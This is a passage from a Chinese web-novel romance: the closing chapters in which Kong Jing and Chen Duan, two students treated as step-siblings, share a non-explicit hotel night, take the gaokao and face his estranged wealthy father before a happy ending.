反骨、乖张、凉薄、坏种……无论用哪些负面的词来形容陈端都可以。 因为对孔净来说,陈端其实是她的光。 光可以有很多种颜色,灰的,蓝的,白的…… 光也可以有很多种形状。 外在的形式不重要,别人的评价也都轻如鸿毛,正如他们的关系,姐弟也好,欲望期的动物也罢,有什么关系呢?只有他们自己知道,他们只是遵循本能更深一步地嵌进彼此的身体和生命。 他们想要彼此,仅此而已。 外界的道德批判、伦理流言都是赘述,他们不需要向任何人解释,更不需要征求任何人的同意。 因为支撑着他们走到现在、走向未来的不是其他任何人,而仅仅只是他们彼此。 “孔净……” 陈端抓住孔净猛地将她拉向自己。 孔净没有任何犹疑,同时抱住他。 两个年轻的稍显迷茫的灵魂猛烈撞击,缠拥在一起。 海风更大了,浪潮呼啸,可他们拥抱在一起仿佛就可以抵御一切。 “我不知道我以后会成为怎样的人……” 陈端下巴垫在孔净肩窝里,整张脸深陷在她飞扬的长发中,鼻腔里全是她发丝的甘甜味道。 “没关系。这不重要,还有很多时间可以去想。无论你是什么样的人——” “你喜欢我吗?” 陈端忽然打断孔净,带着鼻音,语气甚至有些惶恐。 孔净贴在他后背的手往回收,用尽全身力气像要把彼此的身体具象化融合。 “喜欢太轻佻了,爱也是。你只要记住,我不能没有你。” “我们一起好好的,好吗?” “……嗯。” 陈端像条终于收起獠牙的大狗,温顺地贴合着孔净。 就近找了间旅馆,因为临近悦色一条街,从前台到走廊再到房间都弥漫着暧昧。 心形大床围着粉色纱幔,旁边柜子上除了计生用品,还有情趣相关的小玩意儿,床尾靠墙一台电脑,前台阿姨带他们来看房时特意说了,“电脑打开有惊喜,桌面图标最显眼那个点开你们就知道了,平时要爬墙才能看的片子那里面应有尽有。” 孔净的脸在房间粉色灯光的照耀下变成蜜桃红,她胡乱嗯了一声,赶紧关上门。 转过身,陈端立在床边好像有点放不开,孔净嫌他假正经,瞥去一眼。 自己先去浴室,关上门。 其实不是一个很适合放纵的时间点。 但气氛到这儿了,相安无事地盖一床被子躺一张床上什么都不做,反而显得做作。 在海边吹了风,皮肤有些凉,被热水一激,孔净耸着肩膀打了个摆子。 她挤了满满一泵沐浴液,丰盈的泡沫落在身上,随即被冲走。 心境居然比除夕夜那晚初尝禁果还激荡。 再把校服穿上似乎没有必要,于是就裹着浴巾出去。 陈端坐在电脑桌前,随意点开一个游戏,心思并没在屏幕上面,几乎是浴室门开的一瞬间,他就转头看了过来。 现在不止是脸,大片裸露在外的肩膀、手臂、大腿之下,全都染成和蜜桃一样的色泽。 孔净单手握住身前的浴巾面料,对上陈端有些怔愣的视线,“你不洗?” “……洗!马上就去洗!” 起身动作太快,椅子被带倒摔在地上,陈端折身去捡,视线快速上撩,和坐在床边的孔净碰上,又迅速移开。 几分毛躁和少年人应有的不稳重,搞得好像真是第一次似的。 孔净听见从浴室传来的水流声,把被子拉过头顶,心跳声在整个房间回响。 咚,咚,咚。 水声停了,她听见陈端沙哑着嗓子问,“要关灯吗?” 孔净想说要,话到嘴边居然是,“不用。”《 》 【正文完】 第67章 反正有大把时…… 在电影里学来的技巧, 或者说此前在对方身上实施过的技巧,在今晚完全没有用武之地。 遵循本心的碰触,亲吻。 房间变成蜜桃色的海洋。 轻漫的光线是波动的海水,孔净一时下潜, 一时被托举着探出头松快呼吸。 自由漫泳, 别样的震颤与悸动。 原来情事也可以这样纯粹和鲜焕, 像是早春的樱花翩洒了一地。 都顾及着对方的感受,睁着眼睛观察对方的反应,不逃离, 不闪躲,于是他们都得到了至高无上的快乐。 这份快乐将除他们以外的所有人和事都隔绝开, 世界上,仿佛只剩下他们。 “你高兴吗?” 陈端抱着孔净, 两个人的身体陷在被灯光渲染成薄粉的床垫里, 皮肤不知出了几层汗, 晾干,再润湿,然后紧紧贴合在一起,每个毛孔都在感受着对方的一呼一吸。 “嗯。” 孔净轻轻抚摸陈端的发顶, 感觉整个人都很轻盈, 像是乘着热风飘忽在云端。 “……我也是。” 陈端嗓子有点哑, 埋首在孔净身上又深深吸了一口。 “睡吧。”孔净用一根手指拨开他的黑发,在他前额轻吻一下,“晚安。” 醒来不知是几点,房间挨着走廊,隔音不好,外面传来吸尘器大力运转的声音, 应该是保洁阿姨在做卫生。 孔净感觉胸口有个重物,伸手摸了一把,陈端的头发跟他本人一样,刺刺的。 “醒了?” 陈端没动,声音听起来一点没有刚醒的黏糊劲,反而很清越,明朗。 “你不会一晚上没睡吧?”孔净想起来,推了下黏在身上的庞然大物,但是没推动。 陈端从被子里面伸出头来,仍旧压着孔净,昏暗中一双眼睛又亮又黑。 “睡了一会儿,够了。” 孔净感觉他像只癞皮狗,皮很长,体格庞大,乖的时候格外温顺,犯毛病时又格外惹人生气的那种。 “不睡在想什么?” “在想这次要是考不好的话,再复读一年。”陈端顿了顿,自己先笑起来,“看情况也是不可能考好了。你给我打个样,今年你考什么学校,明年我就考什么学校。” 孔净怔了下,笑着点头,“好啊。” “不过大概率是不能在清安高中复读了。”陈端又笑了下,他看着孔净,“戴明后来又找了我一次。” 陈端不认识戴明,但是戴明知道陈端,原因在于戴明在上海一带做生意,而陈锦荣算得上是那片的地头蛇。陈老板早年间婚内出轨,原配妻子一怒之下带着幼子离沪讨生的事,圈子里的人基本都知道。 陈锦荣后来还悬赏找过陈端和越棠一次,但因为现任妻子阻挠,便不了了之。 戴明见过那张悬赏单,做生意的朋友是把这事当作谈资在酒桌上讲给他听的。 戴明印象很深,倒不是为了得悬赏金,完全是因为照片里的越棠清婉出尘,柳叶眉微蹙,虽然是笑模样,却给人一种红颜薄命的悲惋感。至于旁边的幼子照,眉眼皆和陈锦荣一个模子刻出来。 以致于多年以后,戴明在千里之外的清安高中看见陈端,就如同看见了桀骜年轻版的陈锦荣。 “他找你干什么?”孔净心里猜了七七八八。 陈端笑容讥讽,“让我找陈锦荣认祖归宗。” 这么大的事,戴明不可能不告诉陈锦荣。只是陈锦荣那边一直没动静,陈端猜想一方面还是因为他现任妻子的干预,陈端一回去,偌大的家产岂不是要拱手让人,另一方面则是因为陈锦荣要陈端主动求他。 陈端已经成年,不存在被监护人强制带走一说,他要是铁了心不认陈锦荣这个亲生父亲,谁都拿他没办法。 并且,这么多年过去,陈端从来没找过陈锦荣,那边也大概知道陈端是个什么态度。 因此戴明传递陈锦荣的意思,要陈端主动求和认错,他才考虑要不要认回这个儿子。 孔净沉默。 陈端瞥见她脸色,指尖在被子下作乱,却是笑得轻松,“认就认,我本来就姓陈。” 但如果可以,他更愿意姓越,和那个死在二十六岁正当年纪的女孩同一个姓。 不过,要是整个陈家的产业都跟着姓越,是不是更有意思? 孔净和陈端在旅馆住了两天,期间学校一直打电话让孔净回去复课,作为妥协,也答应不再强制逼退陈端。 孔净谢谢班主任的好意,因为请假是拿孔大勇说事,电话里她也说等带孔大勇从医院回来了,她就去学校。 除了入住当晚的放纵,后面陈端一直很守规矩,主动打包餐食、随时添茶递水,力求孔净拥有一个绝佳的复习环境。 不仅如此,他也倚在窗边翻阅孔净的笔记,虽然是临时抱佛脚,样子却格外专注。 第三天,陈端接到一通归属地为上海的陌生号码来电。 嗡鸣声在寂静的房间里显得尤为突兀,孔净转过头,陈端对她笑了下,边按下接听键边开门出去。 十来分钟后,陈端回来,笑容没有任何破绽,他跟孔净说:“下午回学校上课,我们都回去。李哲那帮人不会再出现,学校老师也不会再无故施压。” 孔净抿了抿唇,也笑了下,“好。” 后黑板上的倒计时已经变成个位数,其实复课与否对客观上的分数提高意义不大,最大作用或许是有助于调整心态。 孔净回到教室,班主任明显松了一口气,象征性得问了句“你爸爸还好吗”,并没再多言。 “你终于回来了!你不在这几天我快慌死了。” 齐淼捧着以前的卷子找孔净讲后面的大题。 孔净作为从入学开始便稳居年级第一的超级学霸,对于7班的大部分同学来说不仅是学习榜样,更像是高考吉祥物。大家抓紧时间问题之余,居然排起队要摸摸她拿笔的右手,以期在高考场上因为沾了学霸的光而超常发挥一把。 男生们不好和她有肢体接触,就哄闹着拿着笔本找她签名,场面一时像是追星现场。 无论课间教室里如何嬉笑一片,林语珂自始至终都坐在最后一排。 有女同学笑着问她,“你以前跟孔净关系那么好,是不是她私下传了不少法宝给你呀?不然你这么淡定。” “我淡定是因为我不迷信,你这么崇拜她还不如把她供起来当菩萨拜。真无聊。” 女同学一愣,“讲话怎么这么冲。大家也是找个机会放松一下,给自己多点正向的心理暗示。” “什么心理暗示?一面和弟弟搞在一起,一面在人前装优生的心理暗示吗。” 林语珂出言讥讽。 女同学没和林语珂继续理论,但犹豫一下,也没去排队找孔净沾光了。 流言一直都在,只是被不断逼近的高考暂时隐没了。 闽城就算是盛夏也不会有恐怖高温,六月初的天气十分怡人。 但是高考这几天,还是有人工降雨,应当算是全国统一的仪式感。 考完随着大波人流走出考场,天是蔚蓝色,云很白。 人群中忽然响起欢呼,“哇,彩虹!好美啊!” 孔净回头,不远处两幢教学楼之间的低空衔着一弯弧形彩带,很淡,却很漂亮。 视线往回收,穿着蓝白校服的少年站在人群中和她目光遥遥相接,两颗酒窝耀眼又招摇。 孔净和他长久对视,直到他穿过人潮走到近前,旁若无人地牵起她的手。 “买个蛋糕吧。”少年嗓音清朗。 孔净被他牵着,看见几个同校的考生也在这个考场,她并未闪躲,在对方讶异和惊愕的表情中笑一笑,步伐轻快,“为什么买蛋糕?” “庆祝呀。” 是哦,上回陈端还清孔大勇的债说要买蛋糕,后来被李哲那帮人突然出现打乱了。 这回无论如何一定要买到。 但是芭乐口味的慕斯蛋糕还是太过稀奇,问了几个蛋糕店都说不做。 孔净就说其他口味也行,陈端坚决不同意,“你喜欢芭乐,就一定要吃到芭乐。” “我什么时候变这么挑了?其他水果也可以啊。” “是我挑。” 后来陈端载孔净去市场买了一盒新鲜芭乐,送到蛋糕店让师傅现做了一个。 高考分数出来那天,陈端再次接到陈锦荣的电话,没说几句,他脸色微变,孔净在旁边已经听到了他们的谈话内容。 “没关系,我跟他说。”孔净从陈端手中抽走手机,不卑不亢地朝通话另一端的人问好。 “孔净是吗?你考得怎么样?” 如果不是事先得知陈锦荣已经四十,光凭声音孔净一定以为他是个二十几岁很有风度的英俊男人。 “还不错,应该可以报考上海最好的学校。”孔净说。 “你要来上海?”陈锦荣略微沉吟,上位者的压迫感隐隐传来。 孔净默默在心里收回“很有风度”这句评语。 “对,陈端这次考的不好,要复读一年。听说您要让他回上海复读,所以我也会去上海。” 说着,孔净抬眼对陈端笑了一下。 陈锦荣在那头哼笑一声,戴明在告知他陈端下落的同时,很隐晦地把他和孔净的事也说了。 真真假假陈锦荣并不在意,他本身就是游戏人间的情场圣手,和现任妻子结婚之后也没少流连声色场所。因此就算陈端和孔净真的有点什么,他也觉得年轻人血气方刚,玩玩而已不必当真。 但若是孔净要跟着陈端去上海,他就不得不怀疑孔净的动机。 赌鬼女儿的身份很敏感,陈锦荣说:“你父亲那边我已经派人给了一笔酬谢金,只要他不再乱来,做点小生意买套房子供你读大学绰绰有余。” “谢谢您。但这似乎和我去上海读大学并不冲突。”孔净言辞温和,一点没退让。 陈锦荣淡笑一下,忽然说:“挺好,我正好有意向收你当干女儿。你来上海,陈端有你这个姐姐继续管着,我也能少操点心。” “好呀。” 有权有势的大人要拆散他们实在太容易,做不到反抗,就暂且韬光养晦。 无所谓姐弟不姐弟,那只是世俗给予的关系定义而已。 只要他们在一起好好的,比什么都重要。 收到录取通知书那天,陈端又买了个芭乐蛋糕。 孔净吐槽,“芭乐再喜欢吃也不能每次都吃,偶尔也可以换下其他水果。” “难道不是最喜欢就一直喜欢,只喜欢?” 陈端意有所指。 孔净懒得理他,“先回家,头盔给我。” 陈端顺从地当孔净的专属机车司机。 晚风拂面,孔净一手提着蛋糕盒,一手搂着陈端的腰,伏在他身后。 晚霞美如油画,机车轰鸣驶过街巷,向着蜿蜒的海岸线出发。 “去哪里?!” 孔净搂着陈端的手在他前面拍打他腹部,结实的触感让她以为拍到的是铁板。 “你先说会不会一直喜欢我,只喜欢我。” 车速一点不减,少年磁性嗓音被海风推送至耳际。 孔净感慨真是上了贼船,这人怎么又变幼稚了?! “是是是,最喜欢你,只喜欢你!” 风太大,通信基本靠吼,孔净还吃了一嘴自己的头发。 前面的认却笑出声,“我也是!” 也是吼的。 几只旋在低空的海鸥都被吓跑了。 孔净只好再去捏他,“所以你快掉头啊!这个方向是要去哪里!” 陈端没掉头,他不羞不臊地大声说:“去——甜觅——国际大酒店!” 所谓甜觅国际大酒店,就是高考前他们没去学校那两天在外面住的小旅馆。 蜜桃红的灯光很有感觉,电脑桌面上的影片一部都没看过。 现在,大把的时间让他们继续感觉,一部部点开看。 陈端现在的状态莫名让孔净想到那句歌词:来啊造作啊,反正有大把时光~~ “……” 【正文完】《 》